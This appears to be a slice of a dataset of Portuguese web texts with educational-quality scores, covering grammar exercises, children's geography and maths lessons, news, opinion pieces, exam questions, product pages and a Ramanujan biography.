to go to the cinema. +– Ambos querem ir ao cinema. +2. What sentence is the correct? +a) Nenhum de nós quer isso. +Neither of us want it. +Either of us want it. +b) Vocês dois são culpados. +You either are guilty. +c) Podemos ir de carro ou ônibus. +We can go either by car or bus. +We can go both by car or bus. +d) Eu não quero nenhum desses. +I don't want neither of these. +e) Você quer ambos? +Do you want either? +3. Write the sentences putting the words in order: +A) I’ll be upset. If _____ of them can´t come. +(Eu vou ficar chateado. Se nenhum deles não puderem vir). +a) ( ?????? ) either +b) ( ?????? ) neither +B) Neither… +a) ( ?????? ) …or +b) ( ?????? ) …nor +C) Either… +D) ____ were ill so they didn’t go to school. +(Ambos estavam doentes, então eles não foram para a escola) +a) ( ?????? ) Both +b) ( ?????? ) Either +c) ( ?????? ) Neither +E) I couldn’t decide between them. I liked ____. +(Não consegui decidir entre eles. Eu gostei dos dois) +F) You can take ____ a bus or a car to get to school. +b) ( ??????) either +c) ( ??????) neither +G) Sarah called ___ of them but they didn’t answer her. +E aí? Conseguiu dar respostas certeiras nas questoes? Espero que tenha se saído bem na resolução dos exercícios sobre Either, Neither e Both! E que tal agora conferir outros posts do site, e aprender ainda mais sobre a Língua Inglesa? Let’s go? +Curso direto e eficiente +Para que voce tenha um aprendizado de qualidade é importante ter acesso a materiais que sao comprovadamente eficientes. Para conhecer um curso bom e sério, clique aqui.",original,original,original,original,4,0.8 +"As igrejas escavadas na rocha de Lalibela constituem um Patrimônio Cultural da Humanidade situado na Etiópia, a 640 km ao norte da capital, Adis Abeba, e a 1.500 m de altitude. +Onze igrejas e um mosteiro, além de vários sepulcros e outros lugares sagrados formam uma cidade labiríntica escavada no subsolo. +Cada um destes templos foi talhado na rocha da montanha, como se fossem esculturas. Continue Lendo +Postado em Museus, Sala dos Professores Com as tags Igrejas de Pedra da Etiopia, Museus, Patrimônio Cultural da Humanidade, Sala dos Professores Clique aqui e deixe seu comentário +Google Tradutor +Pesquise no site +Pesquisar por: +PARCEIROS +Assine nosso feed +Digite seu endereço de e-mail para assinar este blog e receber notificações de novas publicações por e-mail. +Endereço de e-mail +Assinar +Junte-se a 9.174 outros assinantes +Fãs de História das Artes +Fãs de História das Artes +Tags +Análise Estética Arquitetura Arte contemporânea Arte para Criança Ateliê Barroco Bienal Biografia Brasil Claude Monet Cubismo Escultura Exposição Expressionismo Fotografia França Grécia Impressionismo Instituto Tomie Ohtake Itália Joaquín Sorolla Leonardo da Vinci Maneirismo Masp Michelangelo Mitologia Museu d'Orsay Museu do Louvre Museu do Prado Museus National Gallery de Londres Obras Analisadas Pablo Picasso Pierre Auguste Renoir Pinacoteca de São Paulo Prazer em Conhecer Rafael Sanzio Renascimento Rococó Romantismo Sala dos Professores Semana de Arte Moderna Surrealismo Técnicas Artísticas Van Gogh +Arquivo de Posts +Arquivo de Posts Selecionar o mês outubro 2022 (1) março 2022 (1) fevereiro 2022 (4) novembro 2021 (3) outubro 2021 (3) setembro 2021 (5) agosto 2021 (4) julho 2021 (5) junho 2021 (8) maio 2021 (8) abril 2021 (9) março 2021 (9) fevereiro 2021 (8) janeiro 2021 (8) dezembro 2020 (10) novembro 2020 (8) outubro 2020 (9) setembro 2020 (9) agosto 2020 (8) julho 2020 (9) junho 2020 (9) maio 2020 (8) abril 2020 (9) março 2020 (8) fevereiro 2020 (8) janeiro 2020 (7) dezembro 2019 (9) novembro 2019 (8) outubro 2019 (10) setembro 2019 (8) agosto 2019 (9) julho 2019 (9) junho 2019 (8) maio 2019 (9) abril 2019 (9) março 2019 (9) fevereiro 2019 (8) janeiro 2019 (1) dezembro 2018 (17) novembro 2018 (17) outubro 2018 (19) setembro 2018 (16) agosto 2018 (18) julho 2018 (18) junho 2018 (16) maio 2018 (30) abril 2018 (29) março 2018 (30) fevereiro 2018 (28) janeiro 2018 (30) dezembro 2017 (31) novembro 2017 (31) outubro 2017 (30) setembro 2017 (30) agosto 2017 (29) julho 2017 (29) junho 2017 (30) maio 2017 (30) abril 2017 (31) março 2017 (30) fevereiro 2017 (28) janeiro 2017 (30) dezembro 2016 (30) novembro 2016 (30) outubro 2016 (30) setembro 2016 (30) agosto 2016 (30) julho 2016 (30) junho 2016 (31) maio 2016 (33) abril 2016 (31) março 2016 (18) fevereiro 2016 (12) janeiro 2016 (18) dezembro 2015 (2) novembro 2015 (7) outubro 2015 (2) julho 2015 (2) abril 2015 (1) março 2015 (16) fevereiro 2015 (4) novembro 2012 (1) outubro 2012 (4) agosto 2012 (2) julho 2012 (1) maio 2012 (5) abril 2012 (5) outubro 2011 (1) setembro 2011 (5) fevereiro 2011 (2) janeiro 2011 (12) setembro 2010 (1) junho 2010 (1) maio 2010 (2) abril 2010 (4) agosto 2009 (1) junho 2009 (1) maio 2009 (3) abril 2009 (1) março 2009 (1) outubro 2008 (1) agosto 2008 (1) abril 2008 (1)",original,original,original,original,1,0.2 +"Julho de 2022: blogs do Senhor da Bruma, assinados por Gil Saraiva, são reunidos em ""alegadamente"": Estro (poesia), gilcartoon (cartoons) e Desabafos de um Vagabundo (plectro). Tudo deve ser entendido no âmbito do alegadamente. +Carta à Berta / Desabafos de um Vagabundo / Miga, a Formiga / Estro +Julho de 2022: blogs do Senhor da Bruma, assinados por Gil Saraiva, são reunidos em ""alegadamente"": Estro (poesia), gilcartoon (cartoons) e Desabafos de um Vagabundo (plectro). Tudo deve ser entendido no âmbito do alegadamente. +Carta à Berta: As Pandemias Que Assustam a Covid +Gil Saraiva +10.02.21 +Ol�� Berta, +Para haver moralidade todos devem comer pela mesma medida. A desculpa dada pelo Governo de Portugal (e de tantos outros no mundo inteiro), agora e no passado, para taxar os fumadores prende-se com questões ligadas à ética e à saúde pública e, ainda ao custo que um fumador provoca ao Estado, quando contrai doenças provocadas pelo seu vício nefasto, que afeta o próprio e quem o rodeia. +É com base nestes pressupostos que o fumador, em primeiro lugar, e outros frequentadores de espaços onde se vendem cigarros e outros produtos produzidos pelas tabaqueiras, em segundo lugar, são obrigados a visualizar as horríveis imagens explicitas dos ditos malefícios, de muito mau gosto e discutíveis, colocadas obrigatoriamente nas embalagens destes produtos. +A mesma base serve de argumento quer para o elevado peso dos impostos nestes produtos, quer para não permitir a publicidade expressa dos mesmos na televisão, rádio, imprensa, ou em qualquer outro meio de divulgação e anúncio da variedade e qualidade da oferta, que se encontra acessível ao consumidor. Não são permitidos, por isso mesmo “mupis”, outdoors e até publicidade digital. Tudo parece vedado a esta indústria pelo manifesto flagelo que a mesma constitui para a saúde pública. Ora, eu, mesmo sendo um fumador acho muito bem este combate. +Porém, quando digo que acho bem, também me considero no direito de exigir equidade de tratamento para todos os outros produtos que, de um modo comprovado e cientificamente conferido, causam idênticos prejuízos aos indivíduos e a sociedade no seu todo. Como dizia no início desta carta, minha querida amiga Berta, para haver moralidade todos devem comer pela mesma medida. +Ora esta norma, se aplicada, porque a justiça do seu princípio me parece inquestionável, devia proibir os apoios que são dados aos viciados em drogas (porque estas, ainda por cima, estão ilegalizadas e são penalizadas a vários níveis, pelo próprio sistema judicial) fornecendo-lhes gratuitamente seringas, salas de chuto e sucedâneos, como é o caso da metadona, ou tratamentos de combate ao vício suportados pelo Estado, o que obriga a despesas que saem diretamente do bolso do contribuinte. +Pelo mesmo princípio, todos os produtos ligados ao consumo do álcool deviam estar equiparados (e aqui com severas e idênticas penalizações e impostos) aos do tabaco. Com proibição de publicidade a qualquer nível, não devendo sequer ser permitido, como não é para o tabaco, o patrocínio destes produtos a eventos de massa e muito menos ainda a acontecimentos de natureza desportiva. Recordo-te, amiga Berta, que o número de mortos e de problemas e custos para a saúde pública ligados ao álcool supera atualmente os provocados pelos derivados do tabaco. +No caso do álcool acho pornográfico que se permita que a Sagres patrocine e publicite eventos, equipas e seleções desportivas, como é o caso da Seleção Nacional de Futebol. O mesmo processo deveria acontecer com a “Super Bock” e as outras cervejas. Aliás, nem devia ser permitido que as bebidas com álcool pudessem fazer publicidade, fosse em que meio fosse. Isto inclui a cerveja, todos os vinhos e as chamadas bebidas brancas ou destiladas. +Não é difícil de entender que só pela influência no espaço governativo dos lóbis ligados ao consumo de álcool se impede o Governo de obrigar à postagem de imagens alusivas aos malefícios do álcool em todas as garrafas colocadas à disposiçã...",original,original,original,original,3,0.6 +"Olá, pequenos exploradores! Que tal embarcarmos juntos em uma viagem incrível pelo nosso país? O Brasil é gigante, cheio de cores, sabores e paisagens diferentes. Para facilitar a nossa aventura, os estudiosos dividiram o Brasil em cinco grandes regiões: Norte, Nordeste, Centro-Oeste, Sudeste e Sul. + +Imagine que o Brasil é um bolo gigante. Cada fatia desse bolo é uma região! A região Norte é como a fatia verde, cheia de florestas e rios imensos como o Amazonas. Lá vivem muitos animais diferentes e a cultura indígena é muito forte. Já a região Nordeste, é a fatia ensolarada, com praias lindas e um povo muito alegre. É lá que encontramos comidas deliciosas como o acarajé e o baião de dois. + +A região Centro-Oeste é a fatia do meio, com grandes fazendas e cidades importantes como Brasília, a capital do nosso país. A região Sudeste é a fatia mais populosa, com cidades grandes como São Paulo e Rio de Janeiro, onde acontecem muitas coisas legais. E, por fim, a região Sul é a fatia mais fria, com campos verdes e cidades charmosas. Lá, as pessoas gostam muito de chimarrão e de comer churrasco. + +Cada região tem seus próprios costumes, comidas típicas, danças e festas. Por exemplo, no Norte, a gente encontra o Boi-Bumbá, uma festa super animada. No Nordeste, tem o frevo, uma dança cheia de energia. No Sul, as pessoas gostam de dançar a Chula, uma dança com passos bem marcados. E no Sudeste, o carnaval é uma festa que alegra todo mundo! + +É importante lembrar que cada estado dentro dessas regiões tem suas próprias características também. Por exemplo, o estado do Amazonas fica na região Norte e é conhecido pela floresta amazônica. Já o estado da Bahia, no Nordeste, é famoso pelas suas praias e pelo axé, um ritmo musical contagiante. Que tal pesquisar sobre o estado onde você mora? Quais são as comidas típicas? Quais são as danças e festas que acontecem por lá? + +Conhecer as regiões do Brasil é como montar um quebra-cabeça. Cada peça é importante para entendermos a beleza e a diversidade do nosso país. Agora que você já sabe um pouquinho sobre as regiões, que tal continuar explorando e descobrindo ainda mais sobre o Brasil? Qual região te deixou mais curioso? O que você gostaria de aprender sobre ela?",Geografia,Estados e regiões do Brasil,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas relevantes sobre as regiões do Brasil, utilizando uma linguagem acessível e lúdica para crianças, o que o torna adequado para os anos iniciais do ensino fundamental. Apresenta conceitos importantes do currículo escolar de forma coerente e introduz costumes, comidas típicas e danças de cada região, estimulando a curiosidade e o aprendizado sobre a diversidade cultural do país. O estilo de escrita é claro e consistente, e o conteúdo é adequado para o nível de escolaridade.",5,1.0 +"Com indefinições sobre Nafta, México amplia importação de milho do Brasil - Globo Rural | Economia +Economia | 05 de Dezembro de 2017",original,original,original,original,1,0.2 +"Texto Online » Hotel » ATLANTE PLAZA RECIFE +O Atlante Plaza está localizado na orla da Praia de Boa Viagem, no bairro de Boa Viagem, o hotel está bem próximo a 2 shoppings, uma localização estratégica e privilegiada da cidade de Recife, do hotelo o turista tem acessibilidade rápida e fácil aos pontos de interesse da cidade. +O Atlante Plaza é uma excelente opção de hospedagem para quem busca requinte e conforto. O Atlante Plaza possui uma excelente infra-estrutura, abrigando em todos os ambientes uma arquitetura moderna. O Atlante Plaza possui uma ampla área social no piso térreo, com três elevadores panorâmicos que proporcionam uma exuberante vista para o mar. +Localização do Atlante Plaza: +Serviços oferecidos no Atlante Plaza: +» Salão de Convenções +Status das acomodações do Atlante Plaza: +Itens de conveniências disponíveis nas acomodações do Atlante Plaza: +» Correio de voz +» Tomada para laptop",original,original,original,original,1,0.2 +"Como todos sabemos, este evento foi programado para o dia de hoje porque em mais uma vez, no último 15 de maio, o mundo todo foi convidado a refletir sobre o Objetor de Consciência, no Dia Internacional a ele dedicado. +A fixação pela ONU de Dias Internacionais - do qual talvez o mais conhecido seja o Dia da Mulher, 8 de março – tem esse objetivo: levar-nos a parar um pouco nossos afazeres e organizarmos encontros e manifestações em que reflitamos um pouco mais sobre nossos direitos e deveres em questões importantes para a vida das sociedades. No caso da Objeção de Consciência o que se busca é também ampliar a própria consciência desse Direito, ainda insuficientemente conhecido. +Por exemplo, nesta sala: quantos de vocês sabem exatamente de que se trata? Quantos de vocês sabem que um dos nossos Direitos Fundamentais é recusar-nos a fazer coisas a que nos obrigam as leis vigentes, mas vão contra nossa consciência, por razões religiosas, éticas, morais, filosóficas, políticas, humanistas? Quantos sabemos o que fazer quando essa situação se apresenta e que leis podemos nos recusar a obedecer? +Possivelmente depois de termos visto o filme que nos foi exibido já ficamos sabendo que pelo menos nos Estados Unidos os convocados como soldados numa guerra têm o direito de se recusar a matar outros seres humanos. O que pode ser uma surpresa para muitos. As guerras não consistem em matar o máximo possível de soldados inimigos? O absurdo das guerras é exatamente esse: elas são ganhas pelos que destroem mais seres humanos, casas, cidades, escolas, sistemas de transporte, fábricas, campos de produção agrícola... E há os que procuram regulamentá-las para que não sejam tão bárbaras, como os organismos internacionais que definem, por exemplo, o que não se pode fazer com prisioneiros ou que não devem ser atacados veículos inimigos pintados com uma cruz vermelha nem bombardear seus hospitais... +O herói do filme foi talvez o único soldado – entre os milhares que combatiam em Okinawa, de um lado e de outro – que conhecia o direito de recusa e o fez valer. Todos os demais possivelmente nem cogitavam dessa possibilidade ou tinham sido suficientemente manipulados pela propaganda para realmente se disporem a lutar e morrer pela sua pátria - sem conhecer os reais objetivos dessa luta, com os quais até poderiam não concordar. Transformados em carne de canhão, como se diz. +Se a guerra for para defender o país é mais difícil se recusar a empunhar armas do que se for para controlar territórios ou recursos. Mas num e noutro casso o que interessa aos que comandam é ter o menor número possível de mortos entre seus comandados e o máximo possível nos exércitos inimigos. São raciocínios inadmissíveis para quem coloca a Vida como valor primeiro. Mas somos de tal forma condicionados a aceitá-los que para muitos nosso personagem pode parecer até excêntrico, embora, por suas convicções religiosas, tenha inacreditavelmente conseguido o direito de salvar vidas, e até de inimigos... +E é para assegurar a cega disposição de morrer pela Pátria que serve a organização militar. No seu universo mental a desobediência é inconcebível. A própria palavra tropa, usada para nomear tanto rebanhos de animais irracionais como soldados desfilando no mesmo passo, antes de serem enviados ao campo de batalha, já traduz o modo como nele são considerados os seres humanos. Não se espera que raciocinem, mas que não questionam ordens recebidas. Não há exército que sobreviva se for comandado democraticamente. +Há generais que se defendem com a teoria de que certos fins justificam determinados meios. Não existe até na teologia cristã o princípio da guerra justa? Nesse caso pouco importam as qualidades, as relações familiares e sociais, os sonhos e esperanças de cada ser humano assassinado. Passarão a ser chamados de “perdas” ou “baixas”. E receberão lindas medalhas póstumas se tiverem tido comportamentos heroicos. Nem falemos das chamadas “perdas colaterais” - mortes de civis não visados nas “operaç...",original,original,original,original,3,0.6 +"Você já parou para pensar em como os números estão presentes em cada aspecto da nossa vida? Desde a hora que acordamos até o momento de dormir, eles nos acompanham, organizando e dando sentido ao mundo ao nosso redor. Neste texto, vamos embarcar em uma aventura para desvendar os segredos dos números e das operações básicas, mostrando como a matemática pode ser fascinante e útil em situações do cotidiano. + +Imagine que você e seus amigos decidem organizar uma festa surpresa para um colega. Para que tudo saia perfeito, é preciso calcular a quantidade de comida e bebida, dividir as tarefas e definir um orçamento. A matemática entra em cena para te ajudar a resolver cada um desses desafios! Ao estimar quantos salgadinhos cada pessoa vai comer (adição e multiplicação), ao dividir o valor total da festa entre os participantes (divisão) e ao controlar os gastos para não ultrapassar o limite (subtração), você estará aplicando os conceitos básicos da matemática de forma prática e divertida. + +As operações básicas – adição, subtração, multiplicação e divisão – são como as ferramentas de um artesão. Cada uma delas tem um propósito específico e, quando combinadas, nos permitem resolver problemas complexos. A adição nos ajuda a juntar quantidades, como somar o número de figurinhas repetidas para trocar com os amigos. A subtração nos permite encontrar a diferença entre valores, como calcular o troco ao comprar um doce na padaria. A multiplicação é uma forma rápida de somar várias vezes a mesma quantidade, como calcular o número total de cadeiras em uma sala com várias fileiras. E a divisão nos ajuda a repartir algo em partes iguais, como dividir um bolo entre os convidados de uma festa. + +Mas a matemática não se resume apenas a números e contas. Ela também nos ensina a pensar de forma lógica e organizada, a resolver problemas de forma criativa e a tomar decisões mais informadas. Ao aprender a usar a matemática, você estará desenvolvendo habilidades que serão valiosas em todas as áreas da sua vida, desde os estudos até o trabalho e as relações pessoais. + +Agora, pense um pouco: como você usou a matemática hoje? Quais problemas você resolveu usando os números e as operações básicas? A matemática está muito mais presente em nossa vida do que imaginamos. Ao entendermos como ela funciona, ganhamos o poder de transformar o mundo ao nosso redor e de alcançar nossos objetivos com mais facilidade. Que tal começar a enxergar a matemática com outros olhos e descobrir a sua beleza e utilidade no dia a dia? A aventura está apenas começando!",Matemática,Números e operações básicas,anos finais (6º ao 9º ano),"O trecho recebe 5 pontos por apresentar alto valor educacional e adequação ao ensino fundamental. Introduz a matemática de forma contextualizada, utilizando exemplos práticos e cotidianos. Explica as operações básicas de maneira clara e relacionável, incentivando o raciocínio lógico e a aplicação dos conceitos. O texto é bem escrito, coerente e adequado ao nível de compreensão dos alunos do ensino fundamental.",5,1.0 +"Pt-br:Beginners Guide 1.1.2 - OpenStreetMap Wiki +Pt-br:Beginners Guide 1.1.2 +Linguagens disponíveis — Beginners Guide 1.1.2 +Veja suas edições publicado e comece a usar o mapa +Usuários do OSM tem recebido permissão para traçar a partir de imagens de diversas fontes. As imagens mais utilizadas são as do Bing, mas outras imagens, de algumas partes do mundo, estão disponíveis; você pode escolher uma fonte de imagens a partir do menu ""Background"" ou do menu ""Imagery"" de seu editor. +Às vezes, fotografias são deslocadas para longe da posição real dos elementos que são fotografados. Você deve verificar se as estradas na fotografia estão alinhadas com os rastros GPS que as pessoas tem fornecido ao OSM, e move o plano de fundo quando necessário. (Como?) +Lembre-se também de que coisas podem ter mudado depois que as fotografias foram tiradas; nós estamos tentando mapear o que existe hoje, e não aquilo que existia quando fotografias foram tiradas. +P: Como posso começar a ver estas imagens? +R: Se você está mapeando uma área para a qual existem imagens, você pode vê-las em seu editor. +Retrieved from ""http://wiki.openstreetmap.org/w/index.php?title=Pt-br:Beginners_Guide_1.1.2&oldid=1166827"" +This page was last edited on 2 May 2015, at 06:13.",original,original,original,original,2,0.4 +"Questões da Prova de Analista de Políticas Públicas e Gestão Governamental +Questão: 406634 +As informações do texto mostram que a diversidade é um tema +Para avaliar a importância da diversidade nas cidades, é preciso entender a extensão de sua conceituação. Seu significado vai desde a mistura de usos e atividades até a existência de uma grande variedade de estruturas urbanas e a garantia do direito à cidade pelos mais diversos grupos sociais. +Esse conceito contraria o modelo de planejamento voltado à segregação de áreas homogêneas no tecido urbano. O encorajamento do pluralismo, em busca da diversidade, pode, de fato, ser mais um ativo importante do que uma ameaça. +Estabelecer mecanismos que permitam às pessoas dos mais variados grupos étnicos e sociais terem direitos iguais aos espaços da cidade vai além da eficiência urbana e equidade. Conduz à urbanidade. A diversidade tem sido apontada como fator essencial para o funcionamento, o crescimento econômico e a atratividade das cidades. +Para alguns pesquisadores, a diversidade deve ser focada nos espaços públicos, tornando cada área residencial um microcosmo da cidade, enfatizando-se a importância de prover espaços que ofereçam elevados níveis de interação entre as pessoas dos mais diferentes espectros sociais. +Todavia, outras formas de diversidade são igualmente importantes no desenvolvimento urbano. +As metrópoles de hoje estão se desenvolvendo rapidamente em cidades criativas, principalmente no que diz respeito às suas funções e ao capital humano. Elas são socialmente diversificadas como resultado da intensificação da migração e das diferenças socioeconômicas, revelando, ainda, múltiplas dimensões da identidade individual. +A convivência com a diversidade, que toca em várias áreas da vida urbana, embora se constitua em um enorme desafio, ao mesmo tempo pode ser um recurso significativo das cidades contemporâneas. Portanto, embora seja importante descobrir caminhos para planejar a cidade plural, não menos importante é encontrar ferramentas que possam medir essa diversidade, de tal forma que ela possa ser avaliada e comparada em suas várias regiões. +(Claudio Bernardes. Opinião. Folha de S.Paulo, 03.08.2015) +de questionável validade para as políticas públicas, considerando-se que elas dificilmente podem romper com a desigualdade social vigente. +de interesse para as políticas públicas, pensando-se nas possibilidades de uso dos espaços públicos na promoção de interação entre as pessoas. +de amplitude para as políticas públicas, efetivando-se na análise dos diferentes grupos sociais de modo a promover a homogeneização cultural. +de expressivo valor para as políticas públicas, propondo-se ações que visem minimizar o impacto social das subjetividades dos cidadãos nos espaços públicos. +de pouco interesse para as políticas públicas, avaliando-se que a migração e as diferenças socioeconômicas atrapalham ações voltadas para os espaços públicos. +Questão: 321822 +Compreender a dinâmica demográfica e sua espacialização é primordial para o planejamento do futuro da cidade de São Paulo e sua região metropolitana. Sobre a dinâmica demográfica mais recente, é correto afirmar que +a chegada de imigrantes internacionais, como os bolivianos e os haitianos, especialmente a partir de 2000, produziu uma “explosão demográfica tardia” na cidade, acarretando o ressurgimento de problemas habitacionais nas áreas centrais, cuja ocupação já era considerada excessiva desde a década de 1970. +o maior crescimento populacional tem ocorrido às margens das represas e nos limites das áreas de proteção dos mananciais, como resultado da busca de grande parte da população por lugares que ofereçam melhor qualidade de vida e que estejam mais próximos da natureza, causando o esvaziamento do centro. +o crescimento da população tornou-se negativo a partir da década de 1990, com a migração das classes médias para condomínios fechados localizados em municípios vizinhos, fenômeno que tem provocado a saída de empresas da cidade e o au...",original,original,original,original,4,0.8 +"Crise econômica afeta vendas do comércio varejista paraense no primeiro semestre - ZÉ DUDU +Atualizado em 2 de setembro de 2015 15:07 +A Fundação Amazônia de Amparo à Pesquisa e Estudos do Pará (Fapespa) lançou em parceria com a Federação das Associações Comerciais Empresariais do Pará (Faciapa) e Associação Comercial do Pará … +A Fundação Amazônia de Amparo à Pesquisa e Estudos do Pará (Fapespa) lançou em parceria com a Federação das Associações Comerciais Empresariais do Pará (Faciapa) e Associação Comercial do Pará (ACP), nesta terça-feira, 1º, o Boletim do Comércio Varejista, referente ao primeiro semestre deste ano. O relatório constata o impacto direto que os reajustes sobre os preços de produtos, como combustível, e serviços, como fornecimento de energia elétrica, tiveram no orçamento das famílias, reduzindo o poder de compra e, consequentemente, de consumo das famílias. O reflexo direto dessa retração foi o desaquecimento do comércio. +O desempenho negativo das vendas de varejo no período foi constatado em 20 das 27 unidades federativas, tendo como consequência a retração do volume de vendas no Brasil, que foi de 2,2%. O Pará, que é o maior mercado consumidor do Norte do país, tem sofrido com os efeitos da conjuntura econômica. Desde 2010 que o setor do comércio varejista não registrava queda nas vendas do primeiro semestre. Contudo, nos primeiros seis meses deste ano, o Índice de Volume de Vendas (IVV) do segmento no Estado caiu 1,4% em relação a 2014. +Segundo o Boletim, produzido pela Diretoria de Estudos e Pesquisas Socioeconômicas e Análise Conjuntural da Fapespa, os resultados do primeiro semestre deste ano devem-se também à suspensão de incentivos fiscais do governo federal. “Entre 2012 e 2013 o governo federal reduziu o Imposto de Produtos Industrializados (IPI) para produtos da ‘linha branca’ e o setor manteve-se aquecido. Já em 2014 e 2015, sem a redução, o setor varejista absorveu os efeitos, que também estão associados à elevação de tarifas e impostos, fatores que contribuíram para o contingenciamento dos gastos e para a retração da demanda, refletindo tanto no declínio das vendas, quanto na elevação dos preços”, explica Geovana Pires, diretora responsável pela pesquisa. +A elevação dos níveis de preços é uma das variáveis responsáveis pela restrição do consumo e pela retração nas vendas do varejo no primeiro semestre de 2015, uma vez que acumulou variação positiva de 7,71% no período, superior à registrada no mesmo semestre de 2014 (5,35%), segundo a estimativa do Índice de Preços ao Consumidor (IPC-Fapespa) para a Região Metropolitana de Belém. Habitação e despesas pessoais foram os segmentos de maior alta no período (8,23% e 6,54%, respectivamente). Outro fator que influenciou nas vendas do semestre foi o grande número de feriados que caíram em dias próximos aos finais de semana. +No que diz respeito à arrecadação do setor varejista na primeira metade de 2015, a desaceleração nas vendas impactou na receita e comprometeu o recolhimento do ICMS no setor. Neste sentido, segundo dados provisórios do Conselho Nacional de Política Fazendária (Confaz), no acumulado de janeiro a junho de 2015, foram arrecadados R$ 417.270 milhões em ICMS do setor varejista contra R$ 436.506 milhões (corrigido pelo IPCA, a preços de 2015) do acumulado do mesmo período de 2014, totalizando um recuo de 4,41% na arrecadação. +Enquanto no primeiro semestre de 2014 a arrecadação do segmento varejista correspondeu a 50% do total arrecadado pelo setor do Comércio, nos seis primeiros meses de 2015 a proporção do varejo foi de 54%. Nesse cenário, a queda na arrecadação do ICMS no setor de Comércio teve menor impacto no recolhimento do varejo. +Por outro lado, os municípios levantados pela Junta Comercial do Estado do Pará (Jucepa), à exceção da capital, Belém, obtiveram resultados positivos no que se refere à abertura de estabelecimentos, com destaque para Santarém, com registro de 402 novas empresas, seguido por Marabá e Ananindeua, com 394 e 300...",original,original,original,original,2,0.4 +"Dymatize - HSNstore.com - 11 produtos +Dymatize Nutrition é uma das marcas mais reconhecidas no âmbito da nutrição desportiva. Nasceu em 1994 e a sua evolução ao longo dos anos foi espetacular até converter no líder da industria. Dymatize é sinónimo de qualidade e dos seus produtos se vendem a milhões de entusiastas do fitness e atletas do mundo inteiro. Em mais de 50 países! +Para Dymatize a qualidade e a segurança dos seus suplementos é a sua maior preocupação. Por isso, uma forma de assegurar é ter todos os ingredientes, matérias-primas e produtos terminados durante 3 dias em laboratórios enquanto realizam as provas de carácter microbiológico e da pureza para assegurar que os seus produtos cumprem com os mais altos estandartes. +Mais além de oferecer produtos de qualidade baixo os mais estritos controles de segurança, outra das chaves do seu êxito é que dispõem de fábricas próprias onde se encarregam de gestionar todo o processo elaboração. Conta com um extenso equipa de produção, três laboratórios de investigação e desenvolvimento independentes além de quatro laboratórios de controle de qualidade. Também dispõem do seu próprio laboratório de sabor. +Dymatize encarrega de criar os seus próprios sabores enquanto que outras se encarregam do sabor em laboratórios externos. Isso é algo que soma pontos ao teu favor. +Devido ao enorme custo, a maioria de companhias de nutrição não são donos das suas próprias plantas de fabricação; embora, a Dymatize pensou que era uma inversão necessária para assegurar a qualidade dos seus produtos até o mais mínimo detalhe. Ter o controle total da compra, processamento, mistura envasado dos seus produtos faz que seja possível oferecer preços baixo, ao tempo que garantem a máxima segurança, eficácia e qualidade em casa passo. +Gama de produtos Dymatize +A gama de produtos de Dymatize está bem diferenciada. +Proteínas: Dymatize dispõem de uma ampla gama de batidos de proteínas. Destacam Iso 100, Elite Casein e Elite 100% Whey Protein. +Gainers: Nesta linha encontramos Elite Mass Gainer, Elite Mega Gainer e Super Mass Gainer. +Pré-treinos e aminoácidos: Dymatize dispõem de um amplio elenco de produtos pré-treino e aminoácidos. Destaca o Amino Pro Endurance, BCAA Complex 5050, Super Amino 6000 e Glutamine Micronized. +Queimagorduras: Destaca CLA, L-Carnitine Xtrme e Dyma-Burn Xtreme. +Suplementos: Dymatize além disso incluí uma linha de suplementos (bonés, shaker, mochilas, etc). +Top produtos Dymatize +Poupa! 11,90 € +Whey dymatize - Andreia santos, 25/03/2020 +Já provei 3 sabores, Cookies e creme, baunilha e chocolate com manteiga de amendoim. +Efetivamente, os dois primeiros são DELICIOSOS, super versáteis e com um sabor que parece uma gulosice. O chocolate com manteiga de amendoim para mim foi um erro ter comprado. Sabor muito intenso e nunca consigo terminar a dose porque me deixa enjoada. Não recomendo esse sabor. +Amino pro - Márcio, 14/02/2020 +Whey dymatize - Ivo ferreira, 30/07/2019 +É na minha análise das melhores proteínas no mercado. E o sabor a Morango não desilude nem um pouco.",original,original,original,original,1,0.2 +"Srinivasa Ramanujan – Oráculo de Cassandra +Srinivasa Aiyangār Ramanujan nasceu em Erode, pequena localidade a 400 km a sudoeste de Madras (hoje Chennai), Tamil Nadu, na Índia, a 22 de dezembro de 1887. Aos cinco anos iniciou seus estudos na escola impressionando a todos com sua inteligência. Ganhou uma bolsa para o Liceu de Kumbakonam, onde também despertou a admiração de colegas e professores. Na adolescência passou a estudar sozinho séries aritméticas e geométricas. Aos 15 anos de idade descobriu soluções de polinômios de terceiro e quarto grau. Nesta idade teve contato com a obra que influenciou sua maneira de interpretar a matemática; trata-se do livro intitulado “Synopsis of Elementary Results on Pure Mathematics” de autoria de George Shoobridge Carr (1837–1914) – matemático britânico, professor da Universidade de Cambridge. A obra apresentava cerca de 6.000 teoremas e fórmulas, porém com poucas demonstrações. +Após “esgotar” a geometria, Ramanujan passou a dedicar-se à álgebra. Aos 16 anos perdeu a bolsa de estudos por ter sido considerado insuficiente nos exames de inglês a que foi submetido, passando a estudar matemática de forma autodidata – sem livros ou outras fontes documentais; chegando a ultrapassar os trabalhos do professor Carr. +Estudos de Ramanujan +Entre privações, trabalhos e estudos solitários, recriou vários estudos no campo da matemática – fato que só reafirma sua genialidade nesta ciência. Casou-se em 1909, aos vinte e um anos de idade, com Janaki Ammal. Na época, Janaki tinha apenas nove anos, vindo a se consumar o casamento apenas quando ela atingiu a maioridade. Em 1910 precisou passar por uma intervenção cirúrgica, pois sofria de hidrocele testicular (acúmulo de fluido límpido no interior da túnica vaginal – a membrana mais interna que contém o testículo). Como sua família não dispunha de meios para pagar o procedimento, um médico local o operou gratuitamente. Através da influência de amigos empregou-se como contador no porto de Madras e passou a frequentar uma universidade local como ouvinte. Impressionados com seu talento os professores o aconselharam a enviar seus trabalhos ao matemático inglês Godfrey Harold Hardy (1877-1947), que o convidou em 1913 a ir para Cambridge (Inglaterra), sendo a viagem realizada naquele mesmo ano. +Em Cambridge, Ramanujan trabalhou durante cinco anos, onde desenvolveu mais ainda seu potencial. Ingressou na Royal Society de Ciências e tornou-se professor no Trinity College. Em 1919 contraiu tuberculose e voltou à Índia, onde morreu em 26 de abril de 1920, em Kumbakonam, aos 32 anos de idade. Sua viúva, Janaki Ammal, viveu em Chennai até 1994, ano em que veio a falecer. +“Ramanujam vivia somente para a matemática e parecia não se interessar por outros assuntos, pouco se preocupava com artes e com literatura. Em Cambridge criara uma pequena biblioteca com informações sobre fenômenos que desafiavam a razão. Em suas descobertas havia os mais abstratos enigmas a respeito das noções de números, em especial sobre os números primos. O Ramanujan Journal, um periódico internacional, foi criado para publicar 